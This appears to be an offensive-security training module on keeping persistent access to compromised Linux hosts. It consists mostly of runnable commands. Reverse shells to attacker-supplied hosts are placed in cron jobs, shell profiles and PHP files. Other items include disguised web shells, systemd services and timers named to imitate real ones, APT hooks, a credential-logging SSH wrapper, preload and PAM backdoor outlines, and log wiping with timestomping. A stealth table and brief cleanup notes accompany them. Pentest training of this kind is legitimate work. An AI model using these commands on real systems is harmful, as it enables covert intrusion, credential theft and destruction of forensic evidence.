Back to All Modules

Linux Persistence

#Overview

Linux persistence ensures continued access to compromised systems using methods that survive reboots, logoffs, and service restarts. Common techniques include SSH authorized keys, cron jobs, systemd services, shell profile modifications, and shared library preloading. Most methods require root access for true persistence, but user-level methods provide sufficient access to maintain a foothold.

#Prerequisites

  • Shell access to the target (SSH, reverse shell, web shell)
  • Root privileges (for systemd services, LD_PRELOAD, PAM backdoors, kernel modules)

#Techniques

#1. SSH Authorized Keys

Add attacker's public key to the target user's authorized_keys. Most reliable and commonly used:

# Generate key pair on attacker
ssh-keygen -t rsa -b 4096 -C "backup@maintenance" -f persistence_key

# On target, append public key
echo "ssh-rsa AAAAB3Nza... backup@maintenance" >> /home/<user>/.ssh/authorized_keys
chmod 600 /home/<user>/.ssh/authorized_keys

# For root
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3Nza..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Connect
ssh -i persistence_key <user>@<IP>
BASH

#2. Cron Jobs

Execute payloads on a schedule. Supports @reboot for startup execution:

# Add a reverse shell that runs every 5 minutes
(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'") | crontab -

# @reboot entry (runs at system startup)
(crontab -l 2>/dev/null; echo "@reboot /home/<user>/.cache/.update.sh") | crontab -

# Root crontab (requires root)
echo "*/10 * * * * root /usr/share/man/man3/.hidden.sh" >> /etc/crontab

# Drop-in cron directory (requires root)
echo "*/10 * * * * root /tmp/.update.sh" > /etc/cron.d/maintenance
BASH

#3. Systemd Services

Create a new systemd service that starts on boot and restarts on failure:

# Create service file (requires root)
cat > /etc/systemd/system/systemd-networkd.service << 'EOF'
[Unit]
Description=Network Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/lib/.cache/.net_svc
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target
EOF

# Enable and start
systemctl daemon-reload
systemctl enable systemd-networkd.service
systemctl start systemd-networkd.service
BASH

Mimic legitimate service names to blend in (e.g., systemd-resolved-cleanup, networking-monitor).

#4. .bashrc / .profile Modification

Append a reverse shell or beacon to a user's shell profile. Executes each time the user opens a shell:

# .bashrc (most Linux distros)
echo 'nohup /bin/bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1" &>/dev/null &' >> /home/<user>/.bashrc

# .profile (more portable)
echo 'nohup /bin/bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1" &>/dev/null &' >> /home/<user>/.profile

# .bash_profile (CentOS/RHEL)
echo 'nohup /usr/local/bin/.dbus-update &>/dev/null &' >> /home/<user>/.bash_profile

# For root
echo 'nohup /usr/share/man/.hidden_beacon &>/dev/null &' >> /root/.bashrc
BASH

Note: This generates a new connection on every shell spawn. Consider adding duplicate detection (check if beacon is already running).

#5. MOTD / Issue Tampering

Message of the Day and issue files are displayed on login. Their display scripts can execute code:

# Modify /etc/update-motd.d/ scripts (Ubuntu/Debian)
echo '#!/bin/bash' > /etc/update-motd.d/99-sysinfo
echo 'nohup /tmp/.beacon &>/dev/null &' >> /etc/update-motd.d/99-sysinfo
chmod +x /etc/update-motd.d/99-sysinfo

# Modify /etc/motd directly with command in profile
echo '$(nohup /tmp/.beacon &>/dev/null &)' >> /etc/profile
BASH

#6. LD_PRELOAD in /etc/ld.so.preload

Load a malicious shared library into every process that uses dynamic linking. Powerful but requires root:

# Add path to /etc/ld.so.preload
echo "/usr/local/lib/libsystemd.so" >> /etc/ld.so.preload
BASH

The preloaded library hooks common functions (like accept(), read()) to provide backdoor access.

#7. Web Shell in Web Root

Place a PHP/ASPX web shell in the web root for persistent HTTP-based access:

# PHP web shell
echo '<?php system($_REQUEST["c"]); ?>' > /var/www/html/modules.php
chmod 644 /var/www/html/modules.php

# Alternatively, use a single-line PHP reverse shell
echo '<?php exec("/bin/bash -c \"bash -i >& /dev/tcp/LHOST/LPORT 0>&1\""); ?>' > /var/www/html/api.php

# For Apache/Nginx with multiple sites
find /var/www -type d -name "html" -o -name "public" -o -name "public_html" 2>/dev/null
BASH

#8. PHP Reverse Shell Persistence

Upload legitimate-looking PHP file that checks for a specific parameter:

<?php
# File: /var/www/html/js/jquery.min.js.php
if (isset($_REQUEST['ajax'])) {
    system($_REQUEST['ajax']);
}
# Rest can contain benign JavaScript to mask inspection
?>
PHP

#9. PAM Backdoor

Patch PAM (Pluggable Authentication Modules) to accept a master password. Complex, high-risk, and highly stealthy:

# Backup original PAM module
cp /lib/x86_64-linux-gnu/security/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so.bak

# Use a PAM backdoor script to patch the module
# Accept a universal password or log credentials
BASH

Custom PAM backdoor scripts exist but must be compiled for the specific glibc and PAM versions.

#10. Kernel Module (LKM) Rootkits

Advanced persistence via kernel modules. Requires root and kernel headers. Provides the highest level of stealth:

# Check kernel version
uname -r

# Install matching kernel headers
apt install linux-headers-$(uname -r)
# Then compile and insmod the rootkit LKM
BASH

Kernel rootkits can hook syscalls to hide files, processes, and network connections.

#11. Audit Log Clearing

Cover tracks after establishing persistence:

# Clear bash history
history -c
cat /dev/null > ~/.bash_history
cat /dev/null > /root/.bash_history

# Clear system logs
cat /dev/null > /var/log/auth.log
cat /dev/null > /var/log/syslog
cat /dev/null > /var/log/wtmp
cat /dev/null > /var/log/btmp
cat /dev/null > /var/log/lastlog

# Timestomp (restore original modification time)
touch -t 202501011200.00 /path/to/backdoored_file
BASH

#OPSEC by Method

MethodDetection IndicatorsStealth Level
SSH Authorized KeysNew key in .ssh/authorized_keysLow
Cron JobsVisible in crontab outputMedium
Systemd Servicesystemctl list-units --allLow
.bashrc ModificationFile integrity checksLow
MOTD TamperingFile modification timestampsMedium
LD_PRELOAD/etc/ld.so.preload is rarely modifiedHigh
Web ShellFile integrity monitoring, WAF detectionLow
PAM BackdoorBinary checksum changeHigh
LKM RootkitKernel module listing (lsmod)Highest

#APT Hook Persistence

# APT hook persistence — execute code before/after apt operations
echo 'APT::Update::Pre-Invoke {"/tmp/beacon &"};' > /etc/apt/apt.conf.d/00beacon
# Executes /tmp/beacon before every apt update
BASH

#Systemd Timer Persistence

# Systemd timer — More stealthy than cron, runs as a service
cat > /etc/systemd/system/update.timer << 'EOF'
[Unit]
Description=System Update Timer
[Timer]
OnBootSec=5min
OnUnitActiveSec=1h
[Install]
WantedBy=timers.target
EOF

cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
ExecStart=/usr/local/bin/.update_svc
EOF

systemctl daemon-reload && systemctl enable update.timer && systemctl start update.timer
# Less commonly monitored than cron — many blue teams focus on crontab
BASH

#SSH Wrapper

# SSH wrapper for credential harvesting
mv /usr/bin/ssh /usr/bin/ssh.orig
cat > /usr/bin/ssh << 'EOF'
#!/bin/bash
echo "$(date) $USER $@ $(echo $@ | grep -oP '(?<=@)[^ ]+')" >> /tmp/.ssh_log
/usr/bin/ssh.orig "$@"
EOF
chmod +x /usr/bin/ssh
# Logs SSH connection details to hidden file
BASH

#at/batch Persistence

# at/batch job — alternative to cron, less monitored
echo "/tmp/beacon" | at now + 1 hour
echo "/tmp/beacon" | at now + 5 minutes
# at jobs are one-shot but can re-schedule themselves for persistence
# Check with: atq, at -c <job_number>
BASH

#.zshrc Persistence

# zsh persistence (besides .bashrc/.profile)
echo 'nohup /tmp/beacon &>/dev/null &' >> ~/.zshrc
# Many modern Linux systems use zsh as default shell
BASH

#Additional OPSEC for Linux Persistence

# OPSEC for Linux persistence:
# SSH authorized_keys → discoverable: find / -name authorized_keys 2>/dev/null
# Cron jobs → visible: crontab -l, /var/log/cron, /etc/cron.*
# Systemd services → enumerable: systemctl list-unit-files | grep enabled
# LD_PRELOAD → detectable: /etc/ld.so.preload monitoring, ltrace/strace
# APT hooks → check: ls /etc/apt/apt.conf.d/, apt-config dump
TEXT

#Common Pitfalls

  • ⚠️ cron @reboot may not work if cron daemon starts after network -> add a delay: sleep 60 && /path/to/beacon
  • ⚠️ .bashrc triggers on every shell including scp/sftp -> causes errors; use conditional: if [ -t 1 ]; then ... fi
  • ⚠️ systemd services with network dependency -> use After=network-online.target and Wants=network-online.target
  • ⚠️ Web shells may be deleted by periodic clean-up scripts -> test and re-deploy if needed

#Cleanup

  • Remove SSH key from authorized_keys
  • Remove cron entries: crontab -e and delete lines
  • Disable and remove systemd service: systemctl disable <svc> && rm /etc/systemd/system/<svc>.service
  • Restore original .bashrc/.profile from backup or remove appended lines
  • Remove web shells: rm /var/www/html/<shell>.php
  • Restore original PAM module from backup
  • Clean /etc/ld.so.preload
  • Regenerate audit logs or acknowledge clearing in report

#Cross-References

#Tool References

ToolLink
ssh-keygenBuilt-in (OpenSSH)
crontabBuilt-in
systemctlBuilt-in (systemd)
PAM backdoor scriptsVarious GitHub repositories

#Source Machines

  • Clicker (Medium, Linux) - Web application code execution for persistence
  • Usage (Easy, Linux) - Custom SUID binary exploitation
  • Soccer (Easy, Linux) - doas/dstat plugin for persistent privilege escalation
  • Broker (Hard, Linux) - Service manipulation for persistence